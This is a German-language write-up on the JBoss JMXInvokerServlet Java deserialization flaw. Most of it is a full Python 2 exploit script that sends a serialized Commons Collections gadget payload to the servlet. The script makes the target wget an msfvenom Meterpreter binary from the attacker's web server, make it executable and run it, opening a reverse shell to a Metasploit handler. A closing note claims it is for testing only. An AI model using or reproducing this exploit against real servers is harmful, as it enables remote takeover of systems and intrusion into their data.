JBoss Java Object Unserialization RCE

JMXInvokerServlet

Mit Hilfe des Konzeptes der Invoker ist es einer Client-Applikation möglich JMX-Aufrufe an den Server zu richten, dabei ist dies unabhängig vom Transportprotokoll. Die erzeugten Invocations werden über einen MBean-Server an die jeweiligen MBean-Services geleitet. Allgemeiner formuliert interagiert ein Proxyobjekt auf Seiten des Clients als Schnittstelle zum eigentlichen MBean-Server. Im Fall des JBoss-Application Server (AS) geschieht die über das sogenannte JMXInvokerServlet.

Wie bereits weiter oben erwähnt, ist das Prinzip des Invokers Transport unabhängig. Der JBoss AS nutzt dazu das HTTP Protokoll. Um im Rahmen des HTTP Protokoll zu kommunizieren, stellt der AS die HttpAdaptor zur Verfügung. Dieser wird im Allgemeinen dazu genutzt um, unabhängig von einer Firewall, den Zugriff auf den MBean-Server zu ermöglichen. Standartmäßig ist der HttpAdaptor deaktiviert. Jedoch ist der JMX-Invoker des HttpAdaptor über http://$hostname/invoker/JMXInvokerServlet aktiviert und erreichbar. Der JMXInvokerServlet nimmt HTTP POST-Anfragen entgegen, dabei ist der Datenanteil ein serialisierter JMX-Aufruf. Auf dem Server wird dieses Objekt deserialisiert und an das Ziel-MBean weitergeleitet.

Exploit - RCE

Im Rahmen weiterer Untersuchungen ist ein Exploit entstanden der den oben genannten Sachverhalt ausnutzt um beliebige Befehle auf den AS auszuführen. Im Wesentlichen realisiert der besagte Exploit folgende Schritte:

#!/usr/bin/env python
# $Id: jboss_invoke_rce.py,v 1.0 2016/12/05 23:06:24 dhn Exp $
# -*- coding: utf-8 -*-

"""
Java Object Unserialization RCE by dhn
"""

import os
import sys
import time
import httplib
import argparse
import threading
import SocketServer
import SimpleHTTPServer
from urllib import urlencode
from contextlib import closing


def init_payload(cmd):
    payload = (
        "\xac\xed\x00\x05\x73\x72\x00\x32\x73\x75\x6e\x2e\x72\x65\x66"
        "\x6c\x65\x63\x74\x2e\x61\x6e\x6e\x6f\x74\x61\x74\x69\x6f\x6e"
        "\x2e\x41\x6e\x6e\x6f\x74\x61\x74\x69\x6f\x6e\x49\x6e\x76\x6f"
        "\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x55\xca"
        "\xf5\x0f\x15\xcb\x7e\xa5\x02\x00\x02\x4c\x00\x0c\x6d\x65\x6d"
        "\x62\x65\x72\x56\x61\x6c\x75\x65\x73\x74\x00\x0f\x4c\x6a\x61"
        "\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4d\x61\x70\x3b\x4c\x00\x04"
        "\x74\x79\x70\x65\x74\x00\x11\x4c\x6a\x61\x76\x61\x2f\x6c\x61"
        "\x6e\x67\x2f\x43\x6c\x61\x73\x73\x3b\x78\x70\x73\x7d\x00\x00"
        "\x00\x01\x00\x0d\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x4d"
        "\x61\x70\x78\x72\x00\x17\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67"
        "\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e\x50\x72\x6f\x78\x79\xe1"
        "\x27\xda\x20\xcc\x10\x43\xcb\x02\x00\x01\x4c\x00\x01\x68\x74"
        "\x00\x25\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x72\x65"
        "\x66\x6c\x65\x63\x74\x2f\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f"
        "\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x78\x70\x73\x71\x00\x7e"
        "\x00\x00\x73\x72\x00\x2a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68"
        "\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65"
        "\x63\x74\x69\x6f\x6e\x73\x2e\x6d\x61\x70\x2e\x4c\x61\x7a\x79"
        "\x4d\x61\x70\x6e\xe5\x94\x82\x9e\x79\x10\x94\x03\x00\x01\x4c"
        "\x00\x07\x66\x61\x63\x74\x6f\x72\x79\x74\x00\x2c\x4c\x6f\x72"
        "\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x63\x6f\x6d\x6d\x6f\x6e"
        "\x73\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2f\x54"
        "\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b\x78\x70\x73\x72"
        "\x00\x3a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f"
        "\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f"
        "\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x43\x68\x61"
        "\x69\x6e\x65\x64\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72"
        "\x30\xc7\x97\xec\x28\x7a\x97\x04\x02\x00\x01\x5b\x00\x0d\x69"
        "\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x73\x74\x00\x2d"
        "\x5b\x4c\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x63\x6f"
        "\x6d\x6d\x6f\x6e\x73\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f"
        "\x6e\x73\x2f\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b"
        "\x78\x70\x75\x72\x00\x2d\x5b\x4c\x6f\x72\x67\x2e\x61\x70\x61"
        "\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c"
        "\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x54\x72\x61\x6e\x73\x66"
        "\x6f\x72\x6d\x65\x72\x3b\xbd\x56\x2a\xf1\xd8\x34\x18\x99\x02"
        "\x00\x00\x78\x70\x00\x00\x00\x05\x73\x72\x00\x3b\x6f\x72\x67"
        "\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73"
        "\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x66\x75"
        "\x6e\x63\x74\x6f\x72\x73\x2e\x43\x6f\x6e\x73\x74\x61\x6e\x74"
        "\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x58\x76\x90\x11"
        "\x41\x02\xb1\x94\x02\x00\x01\x4c\x00\x09\x69\x43\x6f\x6e\x73"
        "\x74\x61\x6e\x74\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61"
        "\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x78\x70\x76\x72\x00"
        "\x11\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x52\x75\x6e\x74"
        "\x69\x6d\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78"
        "\x70\x73\x72\x00\x3a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65"
        "\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63"
        "\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e"
        "\x49\x6e\x76\x6f\x6b\x65\x72\x54\x72\x61\x6e\x73\x66\x6f\x72"
        "\x6d\x65\x72\x87\xe8\xff\x6b\x7b\x7c\xce\x38\x02\x00\x03\x5b"
        "\x00\x05\x69\x41\x72\x67\x73\x74\x00\x13\x5b\x4c\x6a\x61\x76"
        "\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x4c"
        "\x00\x0b\x69\x4d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x74\x00"
        "\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72"
        "\x69\x6e\x67\x3b\x5b\x00\x0b\x69\x50\x61\x72\x61\x6d\x54\x79"
        "\x70\x65\x73\x74\x00\x12\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61"
        "\x6e\x67\x2f\x43\x6c\x61\x73\x73\x3b\x78\x70\x75\x72\x00\x13"
        "\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a"
        "\x65\x63\x74\x3b\x90\xce\x58\x9f\x10\x73\x29\x6c\x02\x00\x00"
        "\x78\x70\x00\x00\x00\x02\x74\x00\x0a\x67\x65\x74\x52\x75\x6e"
        "\x74\x69\x6d\x65\x75\x72\x00\x12\x5b\x4c\x6a\x61\x76\x61\x2e"
        "\x6c\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73\x3b\xab\x16\xd7\xae"
        "\xcb\xcd\x5a\x99\x02\x00\x00\x78\x70\x00\x00\x00\x00\x74\x00"
        "\x09\x67\x65\x74\x4d\x65\x74\x68\x6f\x64\x75\x71\x00\x7e\x00"
        "\x1e\x00\x00\x00\x02\x76\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c"
        "\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\xa0\xf0\xa4\x38\x7a"
        "\x3b\xb3\x42\x02\x00\x00\x78\x70\x76\x71\x00\x7e\x00\x1e\x73"
        "\x71\x00\x7e\x00\x16\x75\x71\x00\x7e\x00\x1b\x00\x00\x00\x02"
        "\x70\x75\x71\x00\x7e\x00\x1b\x00\x00\x00\x00\x74\x00\x06\x69"
        "\x6e\x76\x6f\x6b\x65\x75\x71\x00\x7e\x00\x1e\x00\x00\x00\x02"
        "\x76\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f"
        "\x62\x6a\x65\x63\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x78\x70\x76\x71\x00\x7e\x00\x1b\x73\x71\x00\x7e\x00\x16"
        "\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67"
        "\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b"
        "\x47\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00"
    )
    payload += chr(len(cmd)) + cmd
    payload += (
        "\x74\x00\x04\x65\x78\x65\x63\x75\x71\x00\x7e\x00\x1e\x00\x00"
        "\x00\x01\x71\x00\x7e\x00\x23\x73\x71\x00\x7e\x00\x11\x73\x72"
        "\x00\x11\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74"
        "\x65\x67\x65\x72\x12\xe2\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01"
        "\x49\x00\x05\x76\x61\x6c\x75\x65\x78\x72\x00\x10\x6a\x61\x76"
        "\x61\x2e\x6c\x61\x6e\x67\x2e\x4e\x75\x6d\x62\x65\x72\x86\xac"
        "\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00\x78\x70\x00\x00\x00\x01"
        "\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48"
        "\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03"
        "\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72"
        "\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f"
        "\x40\x00\x00\x00\x00\x00\x10\x77\x08\x00\x00\x00\x10\x00\x00"
        "\x00\x00\x78\x78\x76\x72\x00\x12\x6a\x61\x76\x61\x2e\x6c\x61"
        "\x6e\x67\x2e\x4f\x76\x65\x72\x72\x69\x64\x65\x00\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x78\x70\x71\x00\x7e\x00\x3a"
    )

    return payload


def httpd(port):
    handler = SimpleHTTPServer.SimpleHTTPRequestHandler
    httpd = SocketServer.TCPServer(("", port), handler)

    print("[*] Start HTTPd at port %d" % port)
    sys.stderr = open('/dev/null', 'w')
    thread = threading.Thread(target=httpd.serve_forever)
    thread.daemon = True
    thread.start()

    return thread


def meterpreter(lhost, lport):
   print("[*] Generate meterpreter shell")
   msf_cmd = "msfvenom -p linux/x86/meterpreter/reverse_tcp -a x86 " \
       "--platform linux -b '\\x00' LHOST='" + lhost + "' " \
       "LPORT='" + lport + "' -f elf -o evil > /dev/null 2>&1"

   os.system(msf_cmd)


def start_msf_handler(lhost, lport):
    msf_cmd = "msfconsole -q -x 'use exploit/multi/handler; \
        set payload linux/x86/meterpreter/reverse_tcp; \
        set LHOST '" + lhost + "'; set LPORT '" + lport + "'; run;'"

    os.system(msf_cmd)


def exploit(host, port, cmd):
   headers = {"Content-Type": "application/x-java-serialized-object; \
                       class=org.jboss.invocation.MarshalledValue"}
   victim = host + ":" + port
   payload = init_payload(cmd)
   kwargs = {}

   # some output
   print("[*] Generate payload: %s" % cmd)
   print("[*] Size of payload: %d" % len(payload))

   # send payload to remote host
   with closing(httplib.HTTPConnection(victim, **kwargs)) as conn:
       print("[*] Send payload")
       conn.request("POST", "/invoker/JMXInvokerServlet",
					payload, headers)
       response = conn.getresponse()


def main(args):
    cmd = [
        "wget http://" + str(args.lhost) + ":" + str(
            args.webport) + "/evil -O /tmp/evil",
        "chmod +x /tmp/evil",
        "bash -c /tmp/evil"
    ]

    # some output
    print("[*] JBoss Java Object Unserialization RCE")
    print("[*] Start MSF handler in background...")

    # start httpd and msf handler
    thread = threading.Thread(
        target=start_msf_handler, args=(args.lhost, args.lport))
    thread.start()
    httpd(int(args.webport))

    # generate meterpreter binary
    meterpreter(args.lhost, args.lport)
    time.sleep(12)

    # fire and forget!
    for commands in cmd:
        exploit(args.rhost, args.rport, commands)
        time.sleep(2)

if __name__ == "__main__":

    parser = argparse.ArgumentParser()
    parser.add_argument('--rhost', required=True)
    parser.add_argument('--rport', required=True)
    parser.add_argument('--lhost', required=True)
    parser.add_argument('--lport', required=True)
    parser.add_argument('--webport', required=True)
    args = parser.parse_args()

    main(args)

Demo - Exploit RCE

asciicast

Notiz

Das hier vorgestellte Python Skript funktioniert nur unter der Python-Umgebung 2.x. Zusätzlich dient dieses Skript nur zur Testzwecken. Jeglicher Gebrauch gegen fremde Server oder Dienste ist nicht gestattet.

Referenzen